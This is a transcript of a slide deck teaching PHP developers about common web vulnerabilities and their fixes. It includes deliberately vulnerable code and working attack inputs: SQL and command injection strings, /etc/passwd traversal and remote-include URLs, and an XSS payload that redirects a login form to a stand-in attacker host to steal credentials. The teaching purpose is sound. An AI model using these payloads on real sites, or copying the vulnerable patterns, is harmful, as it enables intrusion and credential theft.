Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Application Security on Fire - PHP Developers Cheat Sheet Version

Web Application Security on Fire - PHP Developers Cheat Sheet Version

Mohamed A. Baset

November 05, 2015
Tweet

Other Decks in Technology

Transcript

  1. Web Application
    Security on Fire;--
    PHP Developers Cheat Sheet Version
    Juan Carlos Mejía Mohamed A. Baset
    Head of IT Security Sr. Information Security Analyst
    @Th3kr45h @SymbianSyMoh

    View full-size slide

  2. Blank Slide
    Yes it’s intentionally blank ;)
    Attention please…
    Slide 2 of 30.000

    View full-size slide

  3. DISCLAIMER
    All techniques and demos provided on this
    presentation are for educational purposes
    only. Linio will not be responsible for any
    action performed by any attendee.
    Warning: Hacking is considered by the Law
    as a crime!!

    View full-size slide

  4. th3kr45h@hack:~#uname -a;
    Juan Carlos Mejía Cano
    GXPN, CEH, CISM
    Twitter: @th3kr45h
     Working in the Information Security for more than 15 years
     Head of IT Security at Linio
     Past:
     Subdirector of Security Testing at HSBC
     Sr. Security Consultant at Deloitte
     Security Analyst as Freelancer
     Mad about movies ;)
     Former Basketball player (Michael Jordan is the best)

    View full-size slide

  5. Before we start…
    Do you
    agree with me
    !
     All issues are important even if these issues have a low severity impact, It must be fixed and
    must not be ignored. Why?!!
     The fact that the application is SECURED because it is behind a Firewall or a VPN is a myth.
    Why?!!
     These kind of vulnerabilities could be exploited separately or used with help of another ones
    to create a high impact.
     Nothing is totally secured but there is the Most Secured and Hardened.
     If your code isn’t secure enough, the business will be impacted including your salary of
    course.

    View full-size slide

  6. Most common Web App Vulnerabilities
    1. Injections (SQL Injection, OS Command Injection, etc…)
    2. Broken Authentication and Session Management
    3. File Path Traversal - Remote / Local File Inclusion AKA Directory Traversal LFI / LFI
    4. Cross Site Request Forgery AKA CSRF
    5. Brute Force Attacks AKA Dictionary Attack
    6. Sensitive Data Exposure AKA Information Disclosure
    7. Cross Site Scripting AKA XSS (Reflected, Stored, DOM Based and Self)
    8. Invalidated Redirects and Forwards AKA Open Redirections
    9. Click jacking AKA UI Redressing
    10. Using Components with Known Vulnerabilities (Ex. Libraries, Plugins and Themes)
    11. Shit in the mix.

    View full-size slide

  7. 1. Injections

    View full-size slide

  8. Types:
    1. SQL Injections
    2. OS Code / Command Injections
    Introduction:
    Injection flaws occur when untrusted input/data is sent to an interpreter as
    part of a command or query. The attacker’s manipulated supplied data
    can trick the interpreter into executing unintended commands or
    accessing data without proper authorization.
    1. Injections

    View full-size slide

  9. 1. Injections :: SQL Injection aka SQLi
    String query = "SELECT * FROM accounts WHERE custID='" +
    request.getParameter("id") + "'";
    Example:
    Let’s imagine that we have a vulnerable WebApp with the following SQL Query String:
    Attack:
    In this case, the attacker modifies the ‘id’ parameter value in his browser by sending this value: ' or '1'='1
    http://MyAwesomeApp.com/accountView?id=' or '1'='1
    The Executed Query will be:
    SELECT * FROM accounts WHERE custID='' or '1'='1'
    Result:
    This changes the meaning of the query to return all the records from the accounts table. More dangerous
    attacks could modify data or even invoke stored procedures.
    In the worse cases, Data could be altered, deleted, modified or even dumped.

    View full-size slide

  10. 1. Injections :: SQL Injection :: Live Examples
    Figure (1) – SQL Injection Vulnerability / data dumping

    View full-size slide

  11. 1. Injections :: SQL Injection aka SQLi
    How to mitigate/Avoid?
    1. General Defenses:
    -Think like attackers U/AX (User/Attackers Experience)
    -Avoid spaghetti queries
    -Don’t trust user/non user supplied inputs
    -Don’t store passwords in a plain text in database (Salt & Hash’em all)
    -Don’t assign DBA or admin type access rights to your application accounts
    -Don’t run the DBMS as root or system
    2. Primary Defenses:
    -Use of Prepared Statements (Parameterized Queries)
    -Use of Stored Procedures
    -Escaping all user supplied Input, whitelisting input validation
    3. Additional Defenses:
    -Enforce Least Privilege (Exact privileges for each responsible account)

    View full-size slide

  12. 1. Injections :: SQL Injection aka SQLi
    Example#1: Prepared Statements (Parameterized Queries)
    // Create connection
    $conn = new mysqli($servername, $username, $password, $dbname);
    // Check connection
    if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); }
    // prepare and bind
    $stmt = $conn->prepare("INSERT INTO MyGuests (firstname, lastname) VALUES (?, ?)");
    $stmt->bind_param("ss", $firstname, $lastname);
    // set parameters and execute
    $firstname = "John";
    $lastname = "Doe";
    $stmt->execute();
    //Close the connection
    $stmt->close();
    $conn->close();
    ?>
    Note: If you want to insert any data from external sources (like user input), it is very important
    that the data is sanitized and validated.

    View full-size slide

  13. 1. Injections :: SQL Injection aka SQLi
    Example#2: Stored Procedures
    //Our db connection
    $mysqli = new mysqli("example.com", "user", "password", "database");
    //Create a table and populate some values for an example
    $mysqli->query("CREATE TABLE test(id INT)");
    $mysqli->query("INSERT INTO test(id) VALUES (1), (2), (3)"));
    //Creating the stored procedure
    $mysqli->query('CREATE PROCEDURE p() READS SQL DATA BEGIN SELECT id FROM test; SELECT id + 1 FROM test; END;');
    //Calling the stored procedure
    $mysqli->multi_query("CALL p()"));
    //Fetching the results from the stored procedures
    do {
    if ($res = $mysqli->store_result()) {
    printf("---\n");
    var_dump($res->fetch_all());
    $res->free();
    } else {
    if ($mysqli->errno) {
    echo "Store failed: (" . $mysqli->errno . ") " . $mysqli->error;} }
    } while ($mysqli->more_results() && $mysqli->next_result());
    ?>
    Note: If you want to accept any data from external sources (like user input), it is very important
    that the data is sanitized and validated.

    View full-size slide

  14. 1. Injections :: SQL Injection aka SQLi
    Example#3: Escaping all User Supplied Input and Perform White List Input Validation
    -Escaping is depends on the encoding type your DBMS you’re using, so finding the proper escaping
    technique will help to prevent such attacks.
    -Whitelisting the user inputs is a good way to limit sql injection attacks but not the best one.
    -Use the magic of mysql_real_escape_string() to filter quotes and other inappropriate chars.
    -Make use of Regular Expressions and know exactly what do you want from user to input and to be passed to
    your database query.
    (https://www.owasp.org/index.php/OWASP_Validation_Regex_Repository)
    -[Additional] Make use of OWASP Enterprise Security API (ESAPI) Library, It’s a free, Open Source library to
    control and mitigate such attacks as SQL Injections and Cross Site Scripting.
    (https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API)

    View full-size slide

  15. 1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)
    Introduction
    Command injection is an attack in which the goal is execution of arbitrary commands on
    the host operating system via a vulnerable application. Command injection attacks are
    possible when an application passes unsafe user supplied data (forms, cookies, HTTP
    headers etc.) to a system shell.
    In this attack, the attacker-supplied operating system commands are usually executed
    with the privileges of the vulnerable application.
    Command injection attacks are possible largely due to insufficient input validation.

    View full-size slide

  16. 1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)
    Command Injection VS Code Injection
    -The Attacker passes internal
    system commands to be executed
    -The Attacker need to be familiar
    with the running system, Internal
    commands and permissions to
    perform an attack.
    -More dangerous on the system
    level
    -The Attacker Injects his own code
    and the application execute it
    -The Attacker is extending the
    functionality of the vulnerable
    application without the need to
    execute a system-level commands.
    -More dangerous on the application
    level

    View full-size slide

  17. 1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)
    Example #1 - Imagine that we have this piece of beautiful and organized code:
    print("Please specify the name of the file to delete");
    print("");
    $file=$_GET['filename'];
    system("rm $file");
    ?>
    And as usual we have a nice guy sent this request to your piece of code
    shit :
    http://www.MyBeautifulApp.com/delete.php?filename=useless_file.txt;id
    What do you think the response will be
    ?

    View full-size slide

  18. Surprise..Surprise
    !
    HTTP/1.0 200 OK
    Content-Type: text/html
    Server: Apache
    Please specify the name of the file to delete
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)

    View full-size slide

  19. What was happened?
    This id command was executed in the context of the vulnerable application.
    Why?
    rm useless_file.txt;id
    With no proper input validation and thanks to the presence of the semicolon char which is considered
    as a command splitter, The attacker now can pass any system commands to be executed by your web
    app.
    1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)

    View full-size slide

  20. 1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)
    Example #2 - Imagine that we have this code:
    $myvar = ‘myvalue';
    $x = $_GET['user'];
    eval('$myvar = ' . $x . ';');
    ?>
    And our guy came again and sent this request to your piece of code shit :
    http://www.MyBeautifulApp.com/users.php?user=1; system(‘whoami')
    What do you think the response will be
    ?

    View full-size slide

  21. Surprise..Surprise
    !
    HTTP/1.0 200 OK
    Content-Type: text/html
    Server: Apache
    nt authority\system
    1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)

    View full-size slide

  22. What was happened?
    This code system(whoami); was injected inside the execution lifecycle of the vulnerable
    application.
    Why?
    eval('$myvar = ' . system(whoami); . ';');
    The same reason, because there is no proper input validation the attacker now can inject a piece of
    code to your application and it will do the rest.
    1. Injections :: OS Code/Command Injections
    AKA (Remote Code Execution)

    View full-size slide

  23. 2. Broken Authentication and Session Management

    View full-size slide

  24. Introduction:
    Authentication and session management includes all aspects of handling user
    authentication and managing active sessions.
    Authentication is a critical aspect of this process, but even solid authentication
    mechanisms can be undermined by flawed credential management functions,
    including password change, forgot my password, remember my password,
    account update, and other related functions.
    Authentication and Session Management is all about how to protect and keep
    the user’s session secure against stealing and manipulating, Tracking every
    request and double checking that this request is coming exactly from this “user”
    to access an exact specific feature or resource that he has access to.
    2. Broken Authentication and Session Management

    View full-size slide

  25. Examples:
    -Authenticated user do a changes to any part of the system in behalf of another user
    identity. “logs will show that someone else did the change”.
    -Authenticated user can change information/details of other users (not his own).
    -Session could be stolen and reused due to another vulnerabilities in the system (via
    Cross Site Scripting).
    -Wrongly Implemented features like “Forget my Password?” resulting in a “Remote
    Password Reset” vulnerability which leads to mass users/customers account steal
    -Weak tokens, session fixation and cryptography poses a real threat to authentication
    and session management
    2. Broken Authentication and Session Management

    View full-size slide

  26. How to Avoid/Protect:
    -Password Strength: Minimum length, Complexity, Expiration time.
    -Password Use: Limit the login attempts, Don’t indicate whether the username or the password
    that was wrong, Users must be emailed with the last successful/failed logins.
    -Password Change Controls: Always ask users to introduce their old passwords before every
    password change and immediately revoke their current session even if it is a valid one.
    -Password Storage: All passwords must be stored hashed or encrypted, Don’t insert a hard coded
    password in the source code. Hashed is the best way because its not reversible.
    -Account Access lists: Users shouldn’t have access to other users names, ids or any other sensitive
    information regarding the other users.
    2. Broken Authentication and Session Management

    View full-size slide

  27. How to Avoid/Protect:
    -Browser Caching: Don’t send any part of user credentials, identity or session details as a part of
    POST or GET Requests.
    - Session IDs Protection / Credentials in Transit: Encrypt the entire login transaction and user’s
    session using something like SSL to not to be intercepted.
    -Session IDs: Should be long, complicated, random numbers that cannot be easily guessed.
    -Session IDs: Should be changed frequently during a session to reduce how long a session ID is
    valid.
    -Session IDs: Must be changed when switching to SSL, authenticating, or other major transitions.
    -Session IDs: Chosen by a user should never be accepted.
    2. Broken Authentication and Session Management

    View full-size slide

  28. root@SymbianSyMoh:~#cat morning.txt;
    Mohamed Abdelbasset Elnouby
    Sr. Information Security Analyst @Linio
    Social Media: @SymbianSyMoh

    View full-size slide

  29. root@SymbianSyMoh:~#cat evening.txt;
    Mohamed Abdelbasset Elnouby
    Active Bug Bounty Hunter
    Social Media: @SymbianSyMoh
    Picture sources:
    http://anywater.com/gallery/d/588-2/SergBugHunter.JPG
    http://www.controlyourcash.com/wp-content/uploads/2014/01/59561912-rich-people.jpg

    View full-size slide

  30. Finally!
    & I hacked the Web Apps of these companies:-
    etc...

    View full-size slide

  31. 3. File Path Traversal – LFI – RFI

    View full-size slide

  32. Introduction:
    A path traversal attack (also known as directory traversal) aims to access files
    and directories that are stored outside the web root folder. By manipulating
    variables that reference files with “dot-dot-slash (../)” sequences and its
    variations or by using absolute file paths, it may be possible to access arbitrary
    files and directories stored on file system including application source code or
    configuration and critical system files. It should be noted that access to files is
    limited by system operational access control.
    This attack is also known as “dot-dot-slash”, “directory traversal”, “directory
    climbing” and “backtracking”.
    3. File Path Traversal – LFI – RFI

    View full-size slide

  33. Related Attacks:
    Local File Inclusion
    The ability for the attacker to include a local file from the local server which
    hosts the vulnerable web application without a proper filtration or control.
    Remote File Inclusion
    The same as LFI but here the attacker have the ability to include an external file
    from an external server maybe a shell or any other evil files.
    3. File Path Traversal – LFI – RFI

    View full-size slide

  34. Behind the scene, a file “vulnerable.php” with this source code:
    $file = $_GET['file'];
    if(isset($file))
    { include("pages/$file"); }
    else
    { include("index.php"); }
    ?>
    And imagine a request like this:
    /vulnerable.php?file=../../../../etc/passwd
    What do you think the response will be
    ?
    3. File Path Traversal – LFI – RFI

    View full-size slide

  35. Surprise..Surprise
    !
    HTTP/1.0 200 OK
    Content-Type: text/html
    Server: Apache
    root:fi3sED95ibqR6:0:1:System Operator:/:/bin/ksh
    daemon:*:1:1::/tmp:
    testlab:f8fk3j1OIf31.:182:100:Developer:/home/users/testlab/:/bin/csh
    3. File Path Traversal – LFI – RFI

    View full-size slide

  36. What was happened?
    Attacker was able to read a local file from the machine hosting the vulnerable app.
    Why?
    -The developer sent the repeated dot dot slash “../” characters directly to the include function this
    caused include() to traverse to the root directory.
    -An attacker can specify a path used in an operation on the filesystem.
    -By specifying the resource, the attacker gains a capability that would not otherwise be permitted.
    3. File Path Traversal – LFI – RFI

    View full-size slide

  37. Examples.. Regarding the same vulnerable example
    LFI
    http://testsite.com/get.php?f=/var/www/html/get.php
    http://testsite.com/get.php?f=/../../../../etc/passwd
    RFI
    http://testsite.com/get.php?f=http://www.AttackerHost.com/evil.php
    3. File Path Traversal – LFI – RFI

    View full-size slide

  38. Wrong Defenses “but you’re still thinking”:
    #1 – Using file_exists()
    -Using the file_exists() is a way to limit the attacker from being able to inject a remote file but including a local file is still
    a way to break through.
    http://localhost/index.php?page=/etc/passwd >>> bingo
    #2 – Directory Jailing Technique
    -It’s a way to jail the attacker in a specific directory “only the current one” but you can’t beat the magic of the dot dot
    slash attack because it will always take the attacker one step up of your current directory.
    http://localhost/index.php?page=../../etc/passwd >>> Up, Up and bingo
    #3 – Adding additional strings to the included file name
    -This is a way to add another suffix to the included file name like adding “.php” or “.asp” at the end of the file in a
    dynamic hardcoded way. Good enough to limit more attacks but here is another magic which you can’t resist, a
    Poisoning Null Byte.
    http://localhost/index.php?page=/etc/passwd%00 >>> /etc/passwd%00.php bingo exists
    #4 – All is good, Am I right?
    -Now you supposed to be in the safe side, one light years away from LFI, RFI or even Directory Traversal but what if the
    attacker want to probe your internal local services? With the following example the attacker knows a valuable info about
    your internal infrastructure.
    http://localhost/index.php?page=http://192.168.0.2:9080 >>> bingo it’s 200 OK
    3. File Path Traversal – LFI – RFI

    View full-size slide

  39. How to Avoid/Protect:
    -Remember to have the AX.
    -Trust no one.
    -Filter and validate all the things.
    -Assume that all the inputs are malicious.
    -Know exactly what input you need and reject what you don’t.
    -Black/Whitelisting will be your hero here by creating a mapping from a set of fixed input values to the
    actual filenames For example, ID 1 mapping to “technology.php” and ID 2 mapping to ” economy.php ” etc.
    and reject all other inputs.
    if($_GET[‘id'] == ‘1') {
    include('technology.php');
    }
    ?>
    Guess what? FPT, LFI and RFI dies forever…..
    -Check fingerprint guide!
    include(), include_once(), require(), require_once(), fopen(), readfile(), ...
    3. File Path Traversal – LFI – RFI

    View full-size slide

  40. 4. Cross Site Request Forgery AKA CSRF
    Introduction:
    Cross Site Request Forgery is a type of web application vulnerabilities where it always affects the web
    forms enforcing the authenticated victim to execute unwanted actions (Transferring funds, Change
    the account email address), This kind of attacks can be via (POST, GET) or via XHR modern app
    request types (PUT & DELETE)
    Attacker send a crafted link file to victim
    Figure (0) How CSRF Works

    View full-size slide

  41. 4. Cross Site Request Forgery AKA CSRF
    Also Known As:
    -XSRF
    -Sea Surf
    -Cross Site Reference Forgery
    -Session Riding
    -Hostile Linking
    -One-Click Attack

    View full-size slide

  42. 4. Cross Site Request Forgery AKA CSRF
    Example #1 “POST”:
    1. Imagine that you have a bank website with a web form included, then the attacker edited the form to look
    like this one:






    2. The attacker took ONLY the web form, Crafted an HTML page and included this piece of code:

    3. Hosted it on his own webserver, and finally sent the link to the victim.
    4. What will happen?

    View full-size slide

  43. 4. Cross Site Request Forgery AKA CSRF
    Example #2 “GET”:
    Click Here to
    win an iPhone!
    OR
    height="0" border="0“ onLoad=“alert(‘Thanks you for using the most secured bank ever’)”>
    What will happen?

    View full-size slide

  44. Surprise..Surprise
    !
    Alejandra (the victim) sent 10,000 dollars from her account to the Attacker’s bank
    account. Of course she don’t want to do that but ACTUALLY she did and in a legal
    way.
    Why that happened
    ?
    4. Cross Site Request Forgery AKA CSRF

    View full-size slide

  45. Why that happened?
    -The Attacker is skilled and was able to trick the victim.
    -The victim was tricked and clicked the link sent by the attacker. “social engineering”
    -The victim was properly authenticated. “session is valid”
    -The request made seems legit. “made by the victim itself”
    -No protection or any tokens send along with the request. “something secret the attacker can’t
    know or guess”
    -The absence of additional mechanism to protect the transfer process. “SMS confirmation code
    or two factor authentication”
    4. Cross Site Request Forgery AKA CSRF

    View full-size slide

  46. 4. Cross Site Request Forgery AKA CSRF
    Example #3 “XML HTTP Request”:
    <br/>function doIT() {<br/>var x = new XMLHttpRequest();<br/>x.open("PUT","http://bank.com/transfer.php",true);<br/>x.setRequestHeader("Content-Type", "application/json");<br/>x.send(JSON.stringify({"acct_from":“Alejandra", "acct_to":"Attacker", "amount":10000})); }<br/>

    Do you think this attack will work
    ?

    View full-size slide

  47. The answer is:
    No
    and maybe
    Yes
    Why?
    4. Cross Site Request Forgery AKA CSRF

    View full-size slide

  48. 4. Cross Site Request Forgery AKA CSRF
    The good news is that attack will not work at the most cases, Modern browsers nowadays have a new
    restrictions and protection mechanisms.
    -Thanks to SOP (Same-Origin-Policy).
    - SOP is enabled by default on every modern browser.
    -
    Unless the target force the browser to ignore it by opening it up for everyone by using CORS or
    Cross Origin Resource Sharing by applying this server-side header:
    Access-Control-Allow-Origin: *

    View full-size slide

  49. Mitigation and Prevention :
    -Remember to have the AX.
    -Make sure that you don’t have any Cross Site Scripting vulnerabilities.
    -Use an Anti-CSRF tokens which is considered as a secret.
    -Your Anti-CSRF Token has to be something hard to be guessed.
    -Don’t use any tokens in a GET Requests.
    -Avoid Anti-CSRF token fixation/reusable tokens.
    -Inserting your Anti-CSRF tokens as a request header is the best way to mitigate this issue.
    -Implement SSL/HTTPS to protect your anti-csrf token from being leaked via MITM Attacks.
    -Double check the “referrer” header value.
    -Double check the “origin” header value, support HTTPS requests.
    -Depend on a specific framework if your application is a big one, Frameworks like “Joomla, Ruby
    on Rails, PHP Frameworks, etc..” implement Anti-CSRF tokens by default.
    -If (for any reason) you have been forced to implement your anti-csrf token into your cookies
    don’t forget to protect it with “HTTPONLY” and “SECURE” cookie flags.
    -Check your Crossdomain.xml file if you have it.
    -Other techniques: 1. CAPTCHA 2. Re-Authentication 3. One-Time tokens
    4. Cross Site Request Forgery AKA CSRF

    View full-size slide

  50. An example of a hardened request:
    POST /ChangeEmail HTTP/1.1
    Host: MySafeWebSite.com
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    XSRF-Secret: 60bUJWfjie6196f08NYRfj8f43896f3cab50833896f3caASpd28
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: MySafeWebSite.com
    Cookie: Your Cookie Here; Secure; HttpOnly
    Connection: keep-alive
    Pragma: no-cache
    Cache-Control: no-cache
    [email protected]&OldPassword=TheOldPassword
    4. Cross Site Request Forgery AKA CSRF
    Cookies are protected against XSS
    and MITM Attacks
    The application is always checking
    for the origin.
    XSRF-Secret value as a request
    header, Hard to be guessed
    and non reusable.
    Additional Protection mechanism.
    Request is server via POST method
    and protected with SSL/HTTPS

    View full-size slide

  51. 5. Brute Force Attacks AKA Dictionary Attack
    Introduction:
    Brute force attacks in a simple way, Its all about flooding the service with the requests regarding
    guessing the user credentials via prepared dictionary or randomly generated strings, claiming a
    service by guessing confirmation codes, Coupons “ecommerce” or Harvesting customer data etc..
    Attacker floods the vulnerable server with a
    guessing requests regarding the needed
    informations
    Figure (0) How Brute Force Attacks Works
    No proper mitigation or policies for account
    lockouts results in receiving the requested
    data
    The webapp responds to the requested
    requests in a true/false pattern.

    View full-size slide

  52. 5. Brute Force Attacks AKA Dictionary Attack
    Figure (1) Burp suite Intruder attacking United.com redemption code Example
    140 requests
    sent so far
    A distinguish
    string found in
    the response
    Valid Code
    found
    among the
    sent requests

    View full-size slide

  53. 5. Brute Force Attacks AKA Dictionary Attack
    Mitigation and Prevention :
    -Remember to have the AX.
    -Rate Limitation. (Login Area)
    -CAPTCHA. (forget my password)
    -Implement a proper Account Lockout Policy. (account lockout after specific failure login
    attempts)
    -Temporary accounts lockout for slowing down the attack. (20 minutes)
    -Implement an intelligent mechanism to do the account lockouts and in the same time allow the
    accounts to be opened for the legitimate users. (trusted devices auto-sense)
    -Implement multi factor authentication. (mFA)
    -Use Authentication Protocols (Oauth - OpenID)

    View full-size slide

  54. 6. Sensitive Data Exposure AKA Information Disclosure
    Introduction:
    Revealing system data or debugging information helps the attacker learn about the system and form a plan of
    attack. An information leak occurs when system data, debugging information and logging function are being
    displayed to the user/the attacker.
    Attacker sending a malformed
    request
    The App responds with a
    sensitive data
    Figure (0) Explaining the information disclosure vulnerability

    View full-size slide

  55. 6. Sensitive Data Exposure AKA Information Disclosure
    How could the attacker make use of this information?
    - FPD will be useful in leveraging SQL Injection attacks to RCEs (leaking folder names, host names)
    - Helps in Social Engineering attacks.
    - Gives the attacker enough knowledge about the target (OS, WebApp type, firewall, etc..)
    - Leaking customer/business information.
    - Helps a lot of other attacks (path traversal)
    Example:
    Warning: mysql_pconnect():
    Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/includes/database.inc on line 4

    View full-size slide

  56. 6. Sensitive Data Exposure AKA Information Disclosure
    Example:
    A vulnerable code:
    echo file_get_contents(getcwd().$_GET['page']);
    ?>
    The attack:
    http://site.com/index.php?page=../../../../../../../home/example/public_html/includes/config.php
    The result:
    The attacker has successfully red the config file
    //Hidden configuration file containing database credentials.
    $hostname = 'localhost';
    $username = 'root';
    $password = ‘toor';
    $database = 'example_site';
    $connector = mysql_connect($hostname, $username, $password);
    mysql_select_db($database, $connector);
    ?>

    View full-size slide

  57. 6. Sensitive Data Exposure AKA Information Disclosure
    How that could be happen?
    -Accidently let the exceptions, debug information, error messages and other sensitive data displayed to the
    end-user. (Throwing the exceptions in a bad way)
    -Empty Arrays. (display.php?page[]=about)
    Warning: opendir(Array): failed to open dir: No such file or directory in /home/omg/htdocs/index.php on line 84
    Warning: pg_num_rows(): supplied argument ... in /usr/home/example/html/pie/display.php on line 131
    -Null Session Cookie - javascript:void(document.cookie="PHPSESSID=");
    -Invalid Session Cookie - javascript:void(document.cookie="PHPSESSID=XXXXXXXXXXXXXXXXXXX…..X");
    Warning: session_start() [function.session-start]: The session id contains illegal characters,
    valid characters are a-z, A-Z, 0-9 and '-,' in /home/example/public_html/includes/functions.php on line 2
    -Direct Access to files (access to files that need another libraries to be loaded first)
    http://site.com/.../tiny_mce/plugins/spellchecker/classes/PSpellShell.php


    Fatal error: Class 'SpellChecker' not found in
    /home/victim/public_html/mambo/mambots/editors/mostlyce/jscripts/tiny_mce/plugins/spellchecker/classes/PSpellShell.p
    hp on line 9

    View full-size slide

  58. 6. Sensitive Data Exposure AKA Information Disclosure
    Prevention/Mitigation:
    -Good mechanisms and flows preventing this problem at the design phase is the best way to mitigate the
    issue.
    -Prevent throwing any exceptions to the production environment
    -Disable error reporting in the live environments. error_reporting(0);
    -Alter all your exceptions and error messages to something the user can understand. NOT THE ATTCKER
    -You can test your app with this tool “Inspathx” - https://code.google.com/p/inspathx/
    -Do a code review for all your .php files, plugins and themes (CMS, Frameworks) and fix all the errors,
    exceptions throwing.

    View full-size slide

  59. 6. Sensitive Data Exposure AKA Information Disclosure
    Figure (1) United Airlines “Airtime service” Full Path disclosure
    Hostname: uaatsu
    Programming Language: PHP
    CMS/Framework: WordPress
    /releases: means there might be another releases so attackers can dig for more releases

    View full-size slide

  60. Introduction:
    Cross Site Scripting is a client-side type of attacks/injections where the attacker is able to inject
    a JavaScript piece of code inside the trusted websites, This piece of code is going to be
    executed on the victim’s client side level and the browser always trust in the injected script
    because it always came from a trusted source.
    Types: “based on the severity”
    1. Stored
    2. Reflected
    3. DOM-Based
    4. Self
    7. Cross Site Scripting AKA XSS

    View full-size slide

  61. Impact:
    1. Stealing User’s cookie/session.
    2. Simulate clicks, Keystrokes and even both at the same time
    3. Manipulating the DOM behavior. “change the form action to steal data”
    4. Injecting a non existed elements in the vulnerable page. “Please insert your CVV here”
    5. Redirecting users to rouge websites
    6. Hijacking User Session, showing and injecting ads
    7. Simulate a Keylogger behavior.
    8. In some cases the attack can be leveraged to have a higher impact if merged with other
    vulnerabilities.
    7. Cross Site Scripting AKA XSS

    View full-size slide

  62. Behind the scene:
    -For testing against cross site scripting vulnerabilities is to pass a piece of code called payload
    as a value into any input/parameter via any method (POST, GET, PUT, etc..)
    -The most common payloads is "> and sometimes
    ">
    -The payload type is always depends on the injection context.
    -Due to the improper input filtration the payload is going to be injected in the vulnerable page.
    -The double quotes + the greater than chars "> are going to do the magic here.
    -Closing the vulnerable tag and opening a new evil one.
    -There is no valid x image, so the onerror event is going to be triggered.
    -JavaScript code is executed now.
    7. Cross Site Scripting AKA XSS

    View full-size slide

  63. Persistent / Stored Cross Site Scripting
    The most dangerous type of XSS, It stored that means the payload will be stored in the
    database and it will get executed whenever the vulnerable page called by any user if this page
    was publicly accessible. For example “user profile page”
    7. Cross Site Scripting AKA XSS
    Figure (0) How Stored XSS works
    Attacker
    WebApp
    DB
    Victim
    Sending a
    payload as a
    value to the
    vuln App.
    The payload
    going to stored
    in the database
    The victim is
    requesting the
    vulnerable
    page
    Data Stolen

    View full-size slide

  64. 7. Cross Site Scripting AKA XSS
    Figure (1) Stored XSS affecting AVGMobilation Service

    View full-size slide

  65. Non-persistent / Reflected Cross Site Scripting
    It’s a type of XSS which is reflected when the victim requests a url via a POST or GET requests and
    requires the victim interaction “click on a specific vulnerable link”.
    Example:
    https://app.box.com/login?redirect_url=">document.getElementById('login_form').setAttribute('actio<br/>n','http://Attacker.com/steal.php')
    Vulnerable Parameter:
    redirect_url
    Payload:
    ">document.getElementById('login_form').setAttribute('action','http://Attacker.com/steal.php')</scri<br/>pt><br/>Payload Explanation:<br/>This payload presented here is the best way to exploit a login page which is vulnerable to XSS attacks,<br/>Simply it alter the action attribute of the login form and send the victim credentials to the attacker via a php<br/>script.<br/>7. Cross Site Scripting AKA XSS<br/>

    View full-size slide

  66. 7. Cross Site Scripting AKA XSS
    Figure (2) Reflected XSS found in BOX.com Cloud Service

    View full-size slide

  67. DOM-Based Cross Site Scripting
    Type of XSS where reflection is not made by the server “the page source code was delivered clean to the
    browser and the browser will start to draw the DOM objects but with the evil supplied data received from
    the attacker.
    7. Cross Site Scripting AKA XSS
    Figure (3) How DOM-Based XSS works
    1. Attacker
    Victim
    Sending a
    crafted link with
    the payload to
    the victim
    The victim is
    requesting the
    vulnerable
    page
    Data Stolen
    The server receives the
    request and send the
    response to the victim’s
    browser without any
    injections “clean”
    Victim
    The Browser is the
    responsible for the
    injection by drawing the
    DOM objects with the
    supplied inputs.
    The payload was injected
    and the victim have
    been XSSed
    Here is the difference, The
    reflected XSS will start to be
    injected and delivered to the
    browser starts from here.

    View full-size slide

  68. Imagine this piece of code:
    Select your Favorite Pet:
    <br/>document.write("<OPTION<br/>value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");<br/>document.write("<OPTION value=2>Dogs</OPTION>");<br/>
    So imagine this request to the vulnerable code:
    http://localhost/dom.html?default=alert(9)
    7. Cross Site Scripting AKA XSS

    View full-size slide

  69. What if we checked the source code of the page?
    Nothing, No injected payloads. Magic?!
    If you still remember this part “The server send the response to the browser without any
    injections”
    You’re not sleeping ZZzzzz 
    7. Cross Site Scripting AKA XSS

    View full-size slide

  70. But What if we checked DOM Explorer?
    Yeah, Our payload is injected here!!!
    Because the injection was made on the browser-level not on the server
    response level
    7. Cross Site Scripting AKA XSS

    View full-size slide

  71. Self Cross Site Scripting
    It’s a type of XSS which is reflected only on yourself, within a page that only you “user/victim” can access,
    It’s not that important but sometimes it’s game changer HOW
    ?
    Remember remember, Merging more than one attack together = higher impact.
    Imagine that a self-xss attack with a Login CSRF attack?
    #1
    Attacker will be able to forge a login request, Inject a special DOM Objects that was not existed
    before, Like asking the victim to re-enter his own credit card details including the CVV number
    which in fact is not presented by the website itself, This data is going to be sent to the attacker
    BTW.
    #2
    If the website is vulnerable to CSRF attack causing this payload to be stored in a specific page,
    Self XSS will play a vital role here, CSRF to inject the payload, Directing the user to the
    vulnerable page, Boom!!.
    7. Cross Site Scripting AKA XSS

    View full-size slide

  72. How to avoid/mitigate?
    7. Cross Site Scripting AKA XSS
    All the inputs.
    Filter and Sanitize!

    View full-size slide

  73. How to Avoid/Protect:
    -Remember to have the AX.
    -Trust no one.
    -Don’t trust user inputs.
    -Don’t trust cookies.
    -Don’t trust the API callbacks.
    -Use htmlentities function but be careful, it’s not 100% trusted.
    -The best way is to use the OWASP Enterprise Security API project, It’s easy
    to implement, Open Source has a full set of filtration features.
    So easy:
    String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter( "input" ) );
    7. Cross Site Scripting AKA XSS

    View full-size slide

  74. 8. Invalidated Redirects AKA Open Redirections
    Introduction:
    Open redirections or invalidated forwards or invalidated redirects is a kind of typical web application vulnerabilities
    occurs when the application fails to control the redirection to an external website/url.
    Open redirection and xss
    1. Attacker sent
    a url to victim
    2. Victim clicked on
    the link because it
    seems legit
    3. The app
    failed to
    control the
    redirection
    4. The user has been
    redirected to a
    phishing website
    5. The user has
    introduced his
    sensitive data
